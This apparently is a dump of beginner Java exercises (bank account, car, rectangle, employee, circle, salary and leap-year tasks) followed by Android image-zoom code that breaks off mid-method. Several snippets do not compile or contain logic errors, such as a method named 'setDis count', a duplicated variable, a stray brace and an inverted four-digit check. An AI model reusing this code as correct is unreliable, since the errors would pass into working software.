			account.deposit(depositeAmount);
			break;
			case 2:
			System.out.println("Enter the amount you want to withdraw");
			double withdrawAmount = input.nextDouble();
			account.withdraw(withdrawAmount);
			break;
			case 3:
			System.out.println("Your current balance is " + account.getBalance());
			break;
			case 4:
			System.out.println("The program is terminated");
			account.transaction();
			break;
			default:
			System.out.println("Incorrect choice. Please try again!");
			break;
			
		
		}
		
	}while(choice!=4);
  }
	
}

 String paragraph = "bob ,,, %&*lonlaskhdfshkfhskfh,,@!~";
            String normalized = paragraph.replaceAll("[^a-zA-Z0-9]", " ");

// replacing multiple spaces with single space

 String normalized = paragraph.replaceAll("[ ]+", " ");

BankAccount.java

import java.util.Scanner;

public class BankAccount {
    String name;
	private double balance;
	private int depositCount = 0;
	private int withdrawCount = 0;
	
	public void deposit(double amount){
		balance += amount;
		System.out.println(amount + " is successfully Deposited");
		depositCount++;
		if(balance > 100000){
			balance = balance + (amount / 100);
		}
	}
	public void withdraw(double amount){
		if(balance >= amount){
			if(balance - amount < 50000){
				System.out.println("Asre you sure you want to withdraw, it would make your balance below 50,000");
				System.out.println("Press 1 to continue and 0 to abort");
				Scanner input = new Scanner(System.in);
				int confirm = input.nextInt();
				if(confirm != 1){
					System.out.println("Withdrawal aborted");
					return;
				}
			}
			double withdrawAmount = amount;
			if(balance < 50000){
				withdrawAmount = withdrawAmount + amount * 0.02;
				withdrawCount++;
			}
			balance = balance - withdrawAmount;
			System.out.println(withdrawAmount + " is successfully withdrawn");
			
		}
		else{
			System.out.println("Insufficient funds");
		}
			
	}
	public double getBalance(){
		return balance;
	}
	void transaction(){
		System.out.println("Account title: " + name);
		System.out.println("Total deposit: " + depositCount);
		System.out.println("Total withdraw: " + withdrawCount);
		System.out.println("Balance: " + balance);
	}
	
}

///////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////

BankAccountTest.java

import java.util.Scanner;

public class BankAccountTest{
	
	public static void main(String args[]){
		
		BankAccount account = new BankAccount();
		
		Scanner input = new Scanner(System.in);
		account.name = "Maan";
		
		int choice;
		
		do{
			System.out.println("Press 1: To Deposit an amount\nPress 2: To Withdraw an amount\nPress 3: To View the current balance\nPress 4: To Close the program");
		    choice = input.nextInt();
		
		    switch(choice){
			case 1:
			System.out.println("Enter the amount you want to Deposite");
			double depositeAmount = input.nextDouble(); 
			account.deposit(depositeAmount);
			break;
			case 2:
			System.out.println("Enter the amount you want to withdraw");
			double withdrawAmount = input.nextDouble();
			account.withdraw(withdrawAmount);
			break;
			case 3:
			System.out.println("Your current balance is " + account.getBalance());
			break;
			case 4:
			System.out.println("The program is terminated");
			account.transaction();
			break;
			default:
			System.out.println("Incorrect choice. Please try again!");
			break;
			
		
		}
		
	}while(choice!=4);
  }
	
}

public class BankAccount {
    String name;
	private double balance;
	private int depositCount = 0;
	private int withdrawCount = 0;
	
	public void deposit(double amount){
		balance += amount;
		System.out.println(amount + " is successfully Deposited");
		depositCount++;
		if(balance > 100000){
			balance = balance + (amount / 100);
		}
	}
	public void withdraw(double amount){
		if(balance >= amount){
			balance -= amount;
			System.out.println(amount + " is successfully Withdrawn");
			withdrawCount++;
		}
		else{
			System.out.println("Insufficient funds");
		}
			
	}
	public double getBalance(){
		return balance;
	}
	void transaction(){
		System.out.println("Account title: " + name);
		System.out.println("Total deposit: " + depositCount);
		System.out.println("Total withdraw: " + withdrawCount);
		System.out.println("Balance: " + balance);
	}
	
}

//////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////

import java.util.Scanner;

public class BankAccountTest{
	
	public static void main(String args[]){
		
		BankAccount account = new BankAccount();
		
		Scanner input = new Scanner(System.in);
		account.name = "Maan";
		
		int choice;
		
		do{
			System.out.println("Press 1: To Deposit an amount\nPress 2: To Withdraw an amount\nPress 3: To View the current balance\nPress 4: To Close the program");
		    choice = input.nextInt();
		
		    switch(choice){
			case 1:
			System.out.println("Enter the amount you want to Deposite");
			double depositeAmount = input.nextDouble(); 
			account.deposit(depositeAmount);
			break;
			case 2:
			System.out.println("Enter the amount you want to withdraw");
			double withdrawAmount = input.nextDouble();
			account.withdraw(withdrawAmount);
			break;
			case 3:
			System.out.println("Your current balance is " + account.getBalance());
			break;
			case 4:
			System.out.println("The program is terminated");
			account.transaction();
			break;
			default:
			System.out.println("Incorrect choice. Please try again!");
			break;
			
		
		}
		
	}while(choice!=4);
  }
	
}

BankAccount.java

public class BankAccount {
    String name;
	private double balance;
	private int depositCount = 0;
	private int withdrawCount = 0;
	
	public void deposit(double amount){
		balance += amount;
		System.out.println(amount + " is successfully Deposited");
		depositCount++;
	}
	public void withdraw(double amount){
		if(balance >= amount){
			balance -= amount;
			System.out.println(amount + " is successfully Withdrawn");
			withdrawCount++;
		}
		else{
			System.out.println("Insufficient funds");
		}
			
	}
	public double getBalance(){
		return balance;
	}
	void transaction(){
		System.out.println("Account title: " + name);
		System.out.println("Total deposit: " + depositCount);
		System.out.println("Total withdraw: " + withdrawCount);
		System.out.println("Balance: " + balance);
	}
	
}

/////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////

BankAccountTest.java

import java.util.Scanner;

public class BankAccountTest{
	
	public static void main(String args[]){
		
		BankAccount account = new BankAccount();
		
		Scanner input = new Scanner(System.in);
		account.name = "Maan";
		
		int choice;
		
		do{
			System.out.println("Press 1: To Deposit an amount\nPress 2: To Withdraw an amount\nPress             3: To View the current balance\nPress 4: To Close the program");
		    choice = input.nextInt();
		
		    switch(choice){
			case 1:
			System.out.println("Enter the amount you want to Deposite");
			double depositeAmount = input.nextDouble(); 
			account.deposit(depositeAmount);
			break;
			case 2:
			System.out.println("Enter the amount you want to withdraw");
			double withdrawAmount = input.nextDouble();
			account.withdraw(withdrawAmount);
			break;
			case 3:
			System.out.println("Your current balance is " + account.getBalance());
			break;
			case 4:
			System.out.println("The program is terminated");
			account.transaction();
			break;
			default:
			System.out.println("Incorrect choice. Please try again!");
			break;
			
		
		}
		
	}while(choice!=4);
  }
	
}

// BankAccount.java

public class BankAccount {
	private String name;
	private double balance;
	
	public void deposit(double amount){
		balance += amount;
		System.out.println(amount + " is successfully Deposited");
	}
	public void withdraw(double amount){
		if(balance >= amount){
			balance -= amount;
			System.out.println(amount + " is successfully Withdrawn");
		}
		else{
			System.out.println("Insufficient funds");
		}
			
	}
	public double getBalance(){
		return balance;
	}
	
}

//////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////

//BankAccountTest.java

import java.util.Scanner;

public class BankAccountTest{
	
	public static void main(String args[]){
		
		BankAccount account = new BankAccount();
		
		Scanner input = new Scanner(System.in);
		System.out.println("Enter account holder name: ");
		String name = input.nextLine();
		
		int choice;
		
		do{
			System.out.println("Press 1: To Deposit an amount\nPress 2: To Withdraw an amount\nPress 3: To View the current balance\nPress 4: To Close the program");
		    choice = input.nextInt();
		
		    switch(choice){
			case 1:
			System.out.println("Enter the amount you want to Deposite");
			double depositeAmount = input.nextDouble(); 
			account.deposit(depositeAmount);
			break;
			case 2:
			System.out.println("Enter the amount you want to withdraw");
			double withdrawAmount = input.nextDouble();
			account.withdraw(withdrawAmount);
			break;
			case 3:
			System.out.println("Your current balance is " + account.getBalance());
			break;
			case 4:
			System.out.println("The program is terminated");
			break;
			default:
			System.out.println("Incorrect choice. Please try again!");
			break;
			
		
		}
		
	}while(choice!=4);
  }
	
}

char[] task = new char[]{'a', 'b', 'c', 'c', 'd', 'e'};
        Map<Character, Long> map = IntStream.range(0, task.length)
                .mapToObj(idx -> task[idx]).collect(Collectors.groupingBy(Function.identity(), Collectors.counting()));

/////////////////////////////////////////////////////////////////////////////////////////
//For CarApplication.java
//////////////////////////////////////////////////////////////////////////////////////////

public class CarApplication{
	public static void main(String[] args){
		
		//Create Car1 and Add values with constructor 
		Car car1 = new Car("CIVIC","2024", 7500000);
		
		//Create Car2 and Add values with constructor
		Car car2 = new Car("SWIFT","2019", 4500000);
		
		
		System.out.println("\nCar1\n");
		//Print car1 value before discount
		System.out.println("Model of Car1 = "+car1.getModel());
		System.out.println("Year of Car1 = "+car1.getYear());
		System.out.println("Price of Car1 = "+car1.getPrice()+"\n");
		
		
		car1.setDiscount(5);
		
		System.out.println("After 5% Discount");
		
		
		//Print car1 value after discount
		System.out.println("Price of Car1 = "+car1.getPrice()+"\n");
		
		
		System.out.println("Car2\n");
		
		
		//Print car1 value before discount
		System.out.println("Name of Car2 = "+car2.getModel());
		System.out.println("Year of Car2 = "+car2.getYear());
		System.out.println("Price of Car2 = "+car2.getPrice()+"\n");
		
		car2.setDiscount(7);
		
		System.out.println("After 5% Discount");
		
		//Print car1 value after discount
		System.out.println("Price of Car2 = "+car2.getPrice()+"\n");
		
		System.out.println("Numbers of Cars = "+Car.carno);
		
				
	}	
}

//////////////////////////////////////////////////////////////////////////////////////////
// FOr Car.java
//////////////////////////////////////////////////////////////////////////////////////////

public class Car{
	private String model;
	private String year;
	private double price;
	public static int carno=0;
	
	public Car(String model , String year, double price){
		setModel(model);
		setYear(year);
		setPrice(price);
		carno++;
	}
	
	public void setModel(String model){
		this.model = model;
	}
	
	public void setYear(String year){
		this.year = year;
	}
	
	public void setPrice(double price){
		if(price>0){
			this.price = price;
		}
	}
	
	public String getModel(){
		return this.model;
	}
	
	public String getYear(){
		return this.year;
	}
	
	public double getPrice(){
		return this.price;
	}
	
	public void setDis count(double discount){
		this.price =this.price - ((discount*this.price)/100);
	}
		
}

///////////////////////////////////////////////////////////////////////////////////////////
//For RectangleTest.java
///////////////////////////////////////////////////////////////////////////////////////////

public class RectangleTest{
	public static void main(String [] args){
		
		//Create rectangle1 object
		Rectangle rectangle1 = new Rectangle ();
		rectangle1.setLength(2);
		rectangle1.setWidth(4);
		
		//Print Object 1 values and method
		System.out.println("Length of Rectangle1 = "+ rectangle1.getLength());
		System.out.println("Width of Rectangle1 = "+rectangle1.getWidth());
		System.out.println("Area of Rectangle1 = "+rectangle1.getArea());
		System.out.println("Perimeter of Rectangle1 = "+rectangle1.getPerimeter());
		System.out.println();
		
		//Create rectangle2 object
		Rectangle rectangle2 = new Rectangle ();
		rectangle2.setLength(4);
		rectangle2.setWidth(6);
		
		//Print Object 2 values and method
		System.out.println("Length of Rectangle1 = "+ rectangle2.getLength());
		System.out.println("Width of Rectangle1 = "+rectangle2.getWidth());
		System.out.println("Area of Rectangle1 = "+rectangle2.getArea());
		System.out.println("Perimeter of Rectangle1 = "+rectangle2.getPerimeter());
		
		
	}
}

///////////////////////////////////////////////////////////////////////////////////////////
//For Rectangle.java
///////////////////////////////////////////////////////////////////////////////////////////


public class Rectangle{
	private double length;
	private double width;
	
	public void setLength(double length){
		this.length = length;
	}
	
	public void setWidth(double width){
		this.width = width;
	}
	
	public double getLength(){
		return length;
	}
	
	public double getWidth(){
		return width;
	}
	
	public double getArea(){
		return length * width;
	}
	
	public double getPerimeter(){
		return 2*(length + width);
	}
	
}

//For TestEmpolyee.java

public class TestEmpolyee {
    public static void main(String[] args) {
		Empolyee e1 = new Empolyee();
		Empolyee e2 = new Empolyee(3666666666666L,"mrSaadis");
		Empolyee e3 = new Empolyee(3666666666666L,"meSaadis",201000f);		
        e1.getEmpolyee();
		e2.getEmpolyee();
		e3.getEmpolyee();
		
    }
}


///////////////////////////////////////////////////////////////////////////////////////////
//For Empolyee.java
///////////////////////////////////////////////////////////////////////////////////////////


public class Empolyee {
    
	private long cnic;
	private String name;
	private double salary;
	
	public Empolyee (){
	}
	
	public Empolyee (long cnic, String name){
		setEmpolyee(cnic,name);
	}
	
	public Empolyee(long cnic, String name, double salary){
		this(cnic,name);
		this.salary = salary;
	}
	
	public void setEmpolyee (long cnic, String name){
		this.cnic = cnic;
		this.name = name;
	}
	
	public void getEmpolyee (){
		System.out.printf("Cnic no. is %d%n",this.cnic);
		System.out.printf("Name is %s%n",this.name);
		System.out.printf("Salaray is %.2f%n%n",this.salary);
	}
	
}

//For TestCircle.java

public class TestCircle {
    public static void main(String[] args) {
		
        Circle circle = new Circle(5);

        System.out.printf("Radius of the circle: %.2f%n", circle.getRadius());
        System.out.printf("Area of the circle: %.2f%n", circle.calculateArea());
        System.out.printf("Perimeter of the circle: %.2f%n%n", circle.calculatePerimeter());

        circle.setRadius(7);
        System.out.printf("Radius of the circle: %.2f%n", circle.getRadius());
        System.out.printf("Area of the circle: %.2f%n", circle.calculateArea());
        System.out.printf("Perimeter of the circle: %.2f%n%n", circle.calculatePerimeter());
		
        circle.setRadius(-3);
    }
}

///////////////////////////////////////////////////////////////////////////////////////////
//For Circle.java
///////////////////////////////////////////////////////////////////////////////////////////

public class Circle {
    private double radius;

    public Circle(double radius) {
        this.radius = radius;
    }

    public double getRadius() {
        return radius;
    }

    public void setRadius(double radius) {
        if (radius > 0) {
            this.radius = radius;
        } else {
            System.out.println("Radius must be greater than 0");
        }
    }

    public double calculateArea() {
        return Math.PI * radius * radius;
    }

    public double calculatePerimeter() {
        return 2 * (Math.PI * radius);
    }
}

//Code for Banking.java

import java.util.Scanner;
public class Banking{
	public static void main(String[] args){
		Scanner input = new Scanner(System.in);
		BankAccount newAccount =  new BankAccount();
		
		System.out.println("Enter Account Holder's Name :");
		newAccount.name = input.nextLine();
		
		System.out.print("Enter Initial Balance : Rs ");
		newAccount.balance = input.nextInt();
		
		System.out.println("Pick the Services Services:\n1)SMS Alerts\n2)Debit Card\n3)Both\n4)None");
		int pick = input.nextInt();
		
		switch(pick){
			case 1:
				newAccount.smsAlert = true;
				newAccount.debitCard = false;
			break;
			case 2:
				newAccount.smsAlert = false;
				newAccount.debitCard = true;
			break;
			case 3:
				newAccount.smsAlert = true;
				newAccount.debitCard = true;
			break;
			case 4:
				newAccount.smsAlert = false;
				newAccount.debitCard = false;
			break;
			default:
			System.out.println("Invalid Input");
		}
		
		newAccount.accountBehaviour();
		System.out.println("After deducting annual fees, the account information is as follows:");
        newAccount.displayAccountInfo();		
	}
}


///////////////////////////////////////////////////////////////////////////////////////////
//
///////////////////////////////////////////////////////////////////////////////////////////


public class BankAccount{
	String name;
	double balance;
	boolean smsAlert=false;
	boolean debitCard=false;
	
	public void accountBehaviour(){
		int smsAlertFee=2000;
		int debitCardFee =5000;
		if(this.balance>=3000000){
			 System.out.println("No annual fees for PREMIUM account holders.");
                return;
		}
		 if (smsAlert) {
                this.balance -= smsAlertFee;
                System.out.println("Annual fee deducted for SMS Alerts: Rs" + smsAlertFee);
            }

        if (debitCard) {
            this.balance -= debitCardFee;
            System.out.println("Annual fee deducted for Debit Card: Rs" + debitCardFee);
        }
	}
	
	 public void displayAccountInfo() {
        System.out.println("Account Holder: " + name);
        System.out.println("Balance: Rs" + balance);
        System.out.println("SMS Alerts: " + (smsAlert ? "Subscribed" : "Not Subscribed"));
        System.out.println("Debit Card: " + (debitCard ? "Subscribed" : "Not Subscribed"));
    }	
}

import java.util.Scanner;

public class Task10{
	public static void main(String args[]){
		
		Scanner input = new Scanner(System.in);
		
		System.out.println("Enter total sale amount: ");
		double sale = input.nextDouble();
		
		double commission = 0;
		double bonus = 0; 
		double fixedSalary = 25000;
		
		if(sale <= 100000){
			commission = 0.02 * sale;
		}
		else if(sale > 100000 && sale < 300000){
			commission = 0.015 * sale;
			bonus = 2000;
		}
		else if(sale > 300000){
			commission = 0.01 * sale;
			bonus = 3000;
		}
		
		double totalSalary = fixedSalary + commission + bonus;
		
		System.out.printf("Total salary of employee is: %.2f",totalSalary);
		
		
	}
}

import java.util.Scanner;

public class Task9{
	public static void main(String args[]){
		
		Scanner input = new Scanner(System.in);
		
		System.out.println("Enter your basic salary: ");
		int basicSalary = input.nextInt();
		
		int houseRentAlowance = 0,medicalAllowance = 0;
		
		if(basicSalary < 10000){
			houseRentAlowance = (basicSalary * 50) / 100;
			medicalAllowance = (basicSalary * 10) / 100;
		}
		else if(basicSalary >= 10000 && basicSalary <= 20000){
			houseRentAlowance = (basicSalary * 60) / 100;
			medicalAllowance = (basicSalary * 15) / 100;
		}
		else if(basicSalary > 20000){
			houseRentAlowance = (basicSalary * 70) / 100;
			medicalAllowance = (basicSalary * 20) / 100;
		}
		
		int grossSalary = basicSalary + houseRentAlowance + medicalAllowance;
		
		System.out.printf("The gross salary is %d",grossSalary);
		
	}
}

import java.util.Scanner;

public class Task8{
	public static void main(String args[]){
		
		Scanner input = new Scanner(System.in);
		
		System.out.println("Enter end number: ");
		int endNo = input.nextInt();
		
		int count = 0;
		int i;
		String spNum = "Following are the special numbers: ";
		
		for(i = 1; i <= endNo; i++){
			if(i % 2 == 0 && i % 3 == 0 && i % 7 != 0){
				count++;
				spNum = spNum + i + ",";
			}
		}
		System.out.println("Special Number Count: "+ count);
		System.out.print(spNum);
	}
}

import java.util.Scanner;

public class Task7{
	public static void main(String args[]){
		Scanner input = new Scanner(System.in);
		
		System.out.println("Enter the age: ");
		int age = input.nextInt();
		System.out.println("Enter marks in maths: ");
		double mathMarks = input.nextDouble();
		System.out.println("Enter marks in english: ");
		double englishMarks = input.nextDouble();
		System.out.println("Enter marks in science: ");
		double scienceMarks = input.nextDouble();
		
		double totalMarks = mathMarks + englishMarks + scienceMarks;
		
		if(age > 15 && mathMarks >= 65 && englishMarks >= 55 && scienceMarks > 50 && totalMarks >= 180){
			System.out.println("Eligible for admission!");
		}
		else{
			System.out.println("Not eligible for admission");
		}
		
	}
}

import java.util.Scanner;

public class Task6{
	public static void main(String args[]){
		
		Scanner input = new Scanner(System.in);
		
		System.out.println("Enter first no: ");
		int num1 = input.nextInt();
		System.out.println("Enter second no: ");
		int num2 = input.nextInt();
		int reminder = num1 % num2;
		System.out.printf("The reminder is: %d\n",reminder);
		if(reminder == 0){
			System.out.printf("%d is divisible by %d",num1,num2);
		}
		else{
			System.out.printf("%d is not divisible by %d",num1,num2);
		}
		
	}
}

import java.util.Scanner;

public class Task5{
	public static void main(String args[]){
		
		Scanner input = new Scanner(System.in);
		
		System.out.println("Enter table #: ");
		int tableNo = input.nextInt();
		System.out.println("Enter start #: ");
		int startNo = input.nextInt();
		System.out.println("Enter end #: ");
		int endNo = input.nextInt();
		
		int i;
		for(i = startNo; i <= endNo; i++){
			System.out.printf("%d x %d = %d\n",i,tableNo,tableNo*i);
		}	
		
	}
}

import java.util.Scanner;

public class Task4{
	
	public static void main(String[] args){
		
		Scanner input = new Scanner(System.in);
		int year;
		do{
		System.out.println("Enter a year: ");
		year = input.nextInt();
		}while(year < 500);	

		if(year % 100 == 0){
			if(year % 400 == 0 && year % 4 == 0){
				System.out.println("It is a century leap year! ");
			}else{
				System.out.println("It is not a leap year! ");
			}
		}
		    else if(year % 4 == 0){
				System.out.println("It is a leap year! ");
			}
			else{
				System.out.println("It is not a leap year! ");
			}
		}	
		
	}
	
}
	

import java.util.Scanner;

public class Task3{
	
	public static void main(String args[]){
		
		Scanner input = new Scanner(System.in);
		
		System.out.println("Enter a four digit number: ");
		int num = input.nextInt();
		
		if(num < 1000 || num < 9999){
			System.out.println("Please enter a valid 4 digit number! ");
		}
		
		
		
		int num4 = num % 10;
		int num3 = (num % 100) / 10;
		int num2 = (num % 1000) / 100;
		int num1 = num / 1000;
		
		System.out.println("The four digits are: ");
		System.out.println(num1);
		System.out.println(num2);
		System.out.println(num3);
		System.out.println(num4);
		
		
		 
	}  
	
	
}
	

import java.util.Scanner;

public class Task1{
	
	public static void main(String args[]){
		int num;
		Scanner input = new Scanner(System.in);
		
		System.out.print("Enter a number: ");
		num = input.nextInt();
		
		
		boolean Num = true;
		for(int i = 2; i <= num; i++){
			Num = true;
			for(int j = 2; j < i; j++){
				if(i % j == 0){
					Num = false;
					break;
				}	
			}
			if(Num == true)
			System.out.println(i);
			
		}
				
			
	}
}

package com.moksha.commonactivity.common;
import android.content.Context;
import android.graphics.Bitmap;
import android.graphics.Matrix;
import android.graphics.PointF;
import android.util.AttributeSet;
import android.view.MotionEvent;
import android.view.ScaleGestureDetector;
import android.view.View;
import android.widget.ImageView;
public class ZoomableImageView extends androidx.appcompat.widget.AppCompatImageView
{
    Matrix matrix = new Matrix();

    static final int NONE = 0;
    static final int DRAG = 1;
    static final int ZOOM = 2;
    static final int CLICK = 3;
    int mode = NONE;

    PointF last = new PointF();
    PointF start = new PointF();
    float minScale = 1f;
    float maxScale = 4f;
    float[] m;

    float redundantXSpace, redundantYSpace;
    float width, height;
    float saveScale = 1f;
    float right, bottom, origWidth, origHeight, bmWidth, bmHeight;

    ScaleGestureDetector mScaleDetector;
    Context context;

    public ZoomableImageView(Context context, AttributeSet attr)
    {
        super(context, attr);
        super.setClickable(true);
        this.context = context;
        mScaleDetector = new ScaleGestureDetector(context, new ScaleListener());
        matrix.setTranslate(1f, 1f);
        m = new float[9];
        setImageMatrix(matrix);
        setScaleType(ScaleType.MATRIX);

        setOnTouchListener(new OnTouchListener()
        {

            @Override
            public boolean onTouch(View v, MotionEvent event)
            {
                mScaleDetector.onTouchEvent(event);

                matrix.getValues(m);
                float x = m[Matrix.MTRANS_X];
                float y = m[Matrix.MTRANS_Y];
                PointF curr = new PointF(event.getX(), event.getY());

                switch (event.getAction())
                {
                    //when one finger is touching
                    //set the mode to DRAG
                    case MotionEvent.ACTION_DOWN:
                        last.set(event.getX(), event.getY());
                        start.set(last);
                        mode = DRAG;
                        break;
                    //when two fingers are touching
                    //set the mode to ZOOM
                    case MotionEvent.ACTION_POINTER_DOWN:
                        last.set(event.getX(), event.getY());
                        start.set(last);
                        mode = ZOOM;
                        break;
                    //when a finger moves
                    //If mode is applicable move image
                    case MotionEvent.ACTION_MOVE:
                        //if the mode is ZOOM or
                        //if the mode is DRAG and already zoomed
                        if (mode == ZOOM || (mode == DRAG && saveScale > minScale))
                        {
                            float deltaX = curr.x - last.x;// x difference
                            float deltaY = curr.y - last.y;// y difference
                            float scaleWidth = Math.round(origWidth * saveScale);// width after applying current scale
                            float scaleHeight = Math.round(origHeight * saveScale);// height after applying current scale
                            //if scaleWidth is smaller than the views width
                            //in other words if the image width fits in the view
                            //limit left and right movement
                            if (scaleWidth < width)
                            {
                                deltaX = 0;
                                if (y + deltaY > 0)
                                    deltaY = -y;
                                else if (y + deltaY < -bottom)
                                    deltaY = -(y + bottom);
                            }
                            //if scaleHeight is smaller than the views height
                            //in other words if the image height fits in the view
                            //limit up and down movement
                            else if (scaleHeight < height)
                            {
                                deltaY = 0;
                                if (x + deltaX > 0)
                                    deltaX = -x;
                                else if (x + deltaX < -right)
                                    deltaX = -(x + right);
                            }
                            //if the image doesnt fit in the width or height
                            //limit both up and down and left and right
                            else
                            {
                                if (x + deltaX > 0)
                                    deltaX = -x;
                                else if (x + deltaX < -right)
                                    deltaX = -(x + right);

                                if (y + deltaY > 0)
                                    deltaY = -y;
                                else if (y + deltaY < -bottom)
                                    deltaY = -(y + bottom);
                            }
                            //move the image with the matrix
                            matrix.postTranslate(deltaX, deltaY);
                            //set the last touch location to the current
                            last.set(curr.x, curr.y);
                        }
                        break;
                    //first finger is lifted
                    case MotionEvent.ACTION_UP:
                        mode = NONE;
                        int xDiff = (int) Math.abs(curr.x - start.x);
                        int yDiff = (int) Math.abs(curr.y - start.y);
                        if (xDiff < CLICK && yDiff < CLICK)
                            performClick();
                        break;
                    // second finger is lifted
                    case MotionEvent.ACTION_POINTER_UP:
                        mode = NONE;
                        break;
                }
                setImageMatrix(matrix);
                invalidate();
                return true;
            }

        });
    }

    @Override
    public void setImageBitmap(Bitmap bm)
    {
        super.setImageBitmap(bm);
        bmWidth = bm.getWidth();
        bmHeight = bm.getHeight();
    }

    public void setMaxZoom(float x)
    {
        maxScale = x;
    }

    private class ScaleListener extends ScaleGestureDetector.SimpleOnScaleGestureListener
    {

        @Override
        public boolean onScaleBegin(ScaleGestureDetector detector)
        {
            mode = ZOOM;
            return true;
        }

        @Override
        public boolean onScale(ScaleGestureDetector detector)
        {
            float mScaleFactor = detector.getScaleFactor();
            float origScale = saveScale;
            saveScale *= mScaleFactor;
            if (saveScale > maxScale)
            {
                saveScale = maxScale;
                mScaleFactor = maxScale / origScale;
            }
            else if (saveScale < minScale)
            {
                saveScale = minScale;
                mScaleFactor = minScale / origScale;
            }
            right = width * saveScale - width - (2 * redundantXSpace * saveScale);
            bottom = height * saveScale - height - (2 * redundantYSpace * saveScale);
            if (origWidth * saveScale <= width || origHeight * saveScale <= height)
            {
                matrix.postScale(mScaleFactor, mScaleFactor, width / 2, height / 2);
                if (mScaleFactor < 1)
                {
                    matrix.getValues(m);
                    float x = m[Matrix.MTRANS_X];
                    float y = m[Matrix.MTRANS_Y];
                    if (mScaleFactor < 1)
                    {
                        if (Math.round(origWidth * saveScale) < width)
                        {
                            if (y < -bottom)
                                matrix.postTranslate(0, -(y + bottom));
                            else if (y > 0)
                                matrix.postTranslate(0, -y);
                        }
                        else
                        {
                            if (x < -right)
                                matrix.postTranslate(-(x + right), 0);
                            else if (x > 0)
                                matrix.postTranslate(-x, 0);
                        }
                    }
                }
            }
            else
            {
                matrix.postScale(mScaleFactor, mScaleFactor, detector.getFocusX(), detector.getFocusY());
                matrix.getValues(m);
                float x = m[Matrix.MTRANS_X];
                float y = m[Matrix.MTRANS_Y];
                if (mScaleFactor < 1) {
                    if (x < -right)
                        matrix.postTranslate(-(x + right), 0);
                    else if (x > 0)
                        matrix.postTranslate(-x, 0);
                    if (y < -bottom)
                        matrix.postTranslate(0, -(y + bottom));
                    else if (y > 0)
                        matrix.postTranslate(0, -y);
                }
            }
            return true;
        }
    }

    @Override
    protected void onMeasure (int widthMeasureSpec, int heightMeasureSpec)
    {
        super.onMeasure(widthMeasureSpec, heightMeasureSpec);
        width = MeasureSpec.getSize(widthMeasureSpec);
        height = MeasureSpec.getSize(heightMeasureSpec);
        //Fit to screen.
        float scale;
        float scaleX =  width / bmWidth;
        float scaleY = height / bmHeight;
        scale = Math.min(scaleX, scaleY);
        matrix.setScale(scale, scale);
        setImageMatrix(matrix);
        saveScale = 1f;

        // Center the image
        redundantYSpace = height - (scale * bmHeight) ;
        redundantXSpace = width - (scale * bmWidth);
        redundantYSpace /= 2;
        redundantXSpace /= 2;

        matrix.postTranslate(redundantXSpace, redundantYSpace);

        origWidth = width - 2 * redundantXSpace;
        origHeight = height - 2 * redundantYSpace;
        right = width * saveScale - width - (2 * redundantXSpace * saveScale);
        bottom = height * saveScale - height - (2 * redundantYSpace * saveScale);
        setImageMatrix(matrix);
    }
}

package com.jjmaurangabad;

import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
import androidx.appcompat.app.AppCompatActivity;
import androidx.swiperefreshlayout.widget.CircularProgressDrawable;

import android.annotation.SuppressLint;
import android.graphics.Canvas;
import android.graphics.ColorFilter;
import android.graphics.PixelFormat;
import android.graphics.PointF;
import android.graphics.drawable.Drawable;
import android.os.Bundle;
import android.util.Log;
import android.view.MenuItem;
import android.view.MotionEvent;
import android.view.View;
import android.view.WindowManager;
import android.widget.ImageView;
import android.widget.ProgressBar;
import android.widget.TextView;
import android.widget.Toast;

import com.bumptech.glide.Glide;
import com.jjmaurangabad.R;
import com.moksha.commonactivity.cPackage.RetrofitBuilderURL;

import java.util.Objects;

public class ImageViewActivity extends AppCompatActivity {
    String FileName="";
    ProgressBar progressBar;
ImageView iv_project;
    TextView tvImageName;
    String uri="http://192.168.1.29:8031/Video/8142bf83-f636-4ded-bf8e-d5fe50137e2d.jpg";
    float[] lastEvent = null;
    float d = 0f;
    float newRot = 0f;
    private boolean isZoomAndRotate;
    private boolean isOutSide;
    private static final int NONE = 0;
    private static final int DRAG = 1;
    private static final int ZOOM = 2;
    private int mode = NONE;
    private PointF start = new PointF();
    private PointF mid = new PointF();
    float oldDist = 1f;
    private float xCoOrdinate, yCoOrdinate;
    @SuppressLint("MissingInflatedId")
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_image_view);
        Objects.requireNonNull(getSupportActionBar()).setDisplayHomeAsUpEnabled(true);
        iv_project=findViewById(R.id.iv_project);
        tvImageName=findViewById(R.id.tvImageName);
        setTitle("Image");

//        progressBar=findViewById(R.id.progressBar);
        Bundle bundle=getIntent().getExtras();
        getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN,
                WindowManager.LayoutParams.FLAG_FULLSCREEN);
        //Wapcos //TPI//Technical //Account

        if(bundle!=null){
            tvImageName.setText(bundle.getString("Title"));
            FileName=bundle.getString("FileName");
        }
        try {
            String url= RetrofitBuilderURL.BASE_URL +FileName;
            Glide.with(this).load(url).error(R.drawable.no_image).into(iv_project);
            CircularProgressDrawable circularProgressDrawable = new CircularProgressDrawable(this);
            circularProgressDrawable.setStrokeWidth(5f);
            circularProgressDrawable.setCenterRadius(30f);
            circularProgressDrawable.start();
            iv_project.setImageDrawable(circularProgressDrawable);
        }catch (Exception e){
            Toast.makeText(this, "Something went wrong", Toast.LENGTH_SHORT).show();
            Log.e("ImageActivity",""+e.getMessage());
        }
        iv_project.setOnTouchListener((v, event) -> {
            ImageView view = (ImageView) v;
            view.bringToFront();
            viewTransformation(view, event);
            return true;
        });

    }
    @Override
    public boolean onOptionsItemSelected(MenuItem item) {
        switch (item.getItemId()) {
            case android.R.id.home:
                // API 5+ solution
                onBackPressed();
                return true;

            default:
                return super.onOptionsItemSelected(item);
        }
    }
    private void viewTransformation(View view, MotionEvent event) {
        switch (event.getAction() & MotionEvent.ACTION_MASK) {
            case MotionEvent.ACTION_DOWN:
                xCoOrdinate = view.getX() - event.getRawX();
                yCoOrdinate = view.getY() - event.getRawY();

                start.set(event.getX(), event.getY());
                isOutSide = false;
                mode = DRAG;
                lastEvent = null;
                break;
            case MotionEvent.ACTION_POINTER_DOWN:
                oldDist = spacing(event);
                if (oldDist > 10f) {
                    midPoint(mid, event);
                    mode = ZOOM;
                }

